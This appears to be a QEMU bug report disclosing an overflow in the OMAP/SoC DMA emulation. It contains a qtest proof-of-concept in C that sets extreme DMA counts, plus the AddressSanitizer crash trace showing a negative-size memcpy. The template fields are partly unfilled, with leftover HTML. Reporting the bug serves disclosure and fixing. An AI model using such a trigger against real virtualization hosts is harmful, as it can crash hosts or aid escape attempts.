SoC DMA fast-path overflow
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## Host environment
- Operating system:
Ubuntu 24.04
- OS/kernel version:
Linux Mewtwo 6.11.0-25-generic #25\~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
- Architecture:
x86
- QEMU flavor:
qemu-system-arm
- QEMU version:
c494afbb7d552604ad
- QEMU command line:
<!--Give the smallest, complete command line that exhibits the problem.
</li>
</ul>
<p data-sourcepos="39:1-40:62">If you are using libvirt, virsh, or vmm, you can likely find the QEMU
command line arguments in /var/log/libvirt/qemu/$GUEST.log.--></p>
<pre data-sourcepos="42:3-44:5"><code>./qemu-system-x86_64 -M q35 -m 4096 -enable-kvm -hda fedora32.qcow2
</code></pre>
<h2 data-sourcepos="46:1-46:35"><a href="#emulatedvirtualized-environment" aria-hidden="true" class="anchor" id="user-content-emulatedvirtualized-environment"></a>Emulated/Virtualized environment</h2>
<ul data-sourcepos="48:1-57:0">
<li data-sourcepos="48:1-50:41">
<p data-sourcepos="48:3-48:19">Operating system:</p>
<!--Windows 10 21H1, Fedora 37, etc.-->
- OS/kernel version:
<!--For POSIX guests, use `uname -a`.-->
- Architecture:
<!--x86, ARM, s390x, etc.-->
## Description of problem
<!--Describe the problem, including any error/crash messages seen.-->
## Steps to reproduce
```C
// tests/qtest/omap_dma_overflow_poc.c
#include "qemu/osdep.h"
#include "libqtest-single.h"
#define OMAP_DMA_BASE 0xfffed800u
#define DMA_REG(offset) (OMAP_DMA_BASE + (offset))
#define OMAP_DMA_CSDP DMA_REG(0x00)
#define OMAP_DMA_CCR DMA_REG(0x02)
#define OMAP_DMA_CSSA_L DMA_REG(0x08)
#define OMAP_DMA_CSSA_U DMA_REG(0x0a)
#define OMAP_DMA_CDSA_L DMA_REG(0x0c)
#define OMAP_DMA_CDSA_U DMA_REG(0x0e)
#define OMAP_DMA_CEN DMA_REG(0x10)
#define OMAP_DMA_CFN DMA_REG(0x12)
#define SRC_ADDR 0x11ff0000u
#define DST_ADDR 0x11ff0100u
#define MAX_16BIT 0xffffu
static void trigger_dma_burst(void)
{
writew(OMAP_DMA_CSDP, 0x0000);
writew(OMAP_DMA_CSSA_L, SRC_ADDR & 0xffff);
writew(OMAP_DMA_CSSA_U, SRC_ADDR >> 16);
writew(OMAP_DMA_CDSA_L, DST_ADDR & 0xffff);
writew(OMAP_DMA_CDSA_U, DST_ADDR >> 16);
writew(OMAP_DMA_CEN, MAX_16BIT);
writew(OMAP_DMA_CFN, MAX_16BIT);
writew(OMAP_DMA_CCR, 0x0080);
}
int main(int argc, char **argv)
{
qtest_start("-machine sx1 -accel qtest -display none");
fprintf(stdout,
"Triggering OMAP DMA fast-path overflow; expect ASan abort.\n");
trigger_dma_burst();
qtest_end();
return 0;
}
```
and the output
```
➜ build git:(master) ✗ ASAN_OPTIONS=detect_leaks=0 \
QTEST_QEMU_BINARY=./qemu-system-arm \
./tests/qtest/omap_dma_overflow_poc
# starting QEMU: exec ./qemu-system-arm -qtest unix:/tmp/qtest-172012.sock -qtest-log /dev/null -chardev socket,path=/tmp/qtest-172012.qmp,id=char0 -mon chardev=char0,mode=control -display none -audio none -machine sx1 -accel qtest -display none -accel qtest
==172014==WARNING: ASan doesn't fully support makecontext/swapcontext functions and may produce false positives in some cases!
Triggering OMAP DMA fast-path overflow; expect ASan abort.
=================================================================
==172014==ERROR: AddressSanitizer: negative-size-param: (size=-131071)
#0 0x7f40072a21b7 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x5561a16e3966 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
#2 0x5561a16e3966 in transfer_mem2mem ../hw/dma/soc_dma.c:27
#3 0x5561a16e3a1e in soc_dma_ch_run ../hw/dma/soc_dma.c:100
#4 0x5561a16de6fa in omap_dma_activate_channel ../hw/dma/omap_dma.c:232
#5 0x5561a16de6fa in omap_dma_enable_channel ../hw/dma/omap_dma.c:273
#6 0x5561a16e2962 in omap_dma_enable_channel ../hw/dma/omap_dma.c:258
#7 0x5561a16e2962 in omap_dma_ch_reg_write ../hw/dma/omap_dma.c:903
#8 0x5561a16e2962 in omap_dma_write ../hw/dma/omap_dma.c:1519
#9 0x5561a16e2962 in omap_dma_write ../hw/dma/omap_dma.c:1497
#10 0x5561a1c0eec5 in memory_region_write_accessor ../system/memory.c:491
#11 0x5561a1c1440f in access_with_adjusted_size ../system/memory.c:567
#12 0x5561a1c16ba4 in memory_region_dispatch_write ../system/memory.c:1554
#13 0x5561a1c2bc7f in flatview_write_continue_step ../system/physmem.c:3266
#14 0x5561a1c2c2b0 in flatview_write_continue ../system/physmem.c:3296
#15 0x5561a1c2c2b0 in flatview_write ../system/physmem.c:3327
#16 0x5561a1c34273 in address_space_write ../system/physmem.c:3447
#17 0x5561a1c50eb6 in qtest_process_command ../system/qtest.c:530
#18 0x5561a1c53e8c in qtest_process_inbuf ../system/qtest.c:770
#19 0x5561a23c44c8 in tcp_chr_read ../chardev/char-socket.c:511
#20 0x7f4006e6b5de in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x545de)
#21 0x5561a256e2a7 in glib_pollfds_poll ../util/main-loop.c:290
#22 0x5561a256e2a7 in os_host_main_loop_wait ../util/main-loop.c:313
#23 0x5561a256e2a7 in main_loop_wait ../util/main-loop.c:592
#24 0x5561a1c57148 in qemu_main_loop ../system/runstate.c:903
#25 0x5561a23dafcb in qemu_default_main ../system/main.c:50
#26 0x5561a1415e6d in main ../system/main.c:93
#27 0x7f4006b09249 (/lib/x86_64-linux-gnu/libc.so.6+0x27249)
#28 0x7f4006b09304 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x27304)
#29 0x5561a141b2d0 in _start (/workspace/build/qemu-system-arm+0xbd32d0)
Address 0x7f40041f0100 is a wild pointer inside of access range of size 0x000000000001.
SUMMARY: AddressSanitizer: negative-size-param ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
==172014==ABORTING
Broken pipe
../tests/qtest/libqtest.c:199: kill_qemu() tried to terminate QEMU process but encountered exit status 1 (expected 0)
[1] 172012 IOT instruction (core dumped) ASAN_OPTIONS=detect_leaks=0 QTEST_QEMU_BINARY=./qemu-system-arm
```
## Additional information
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issue
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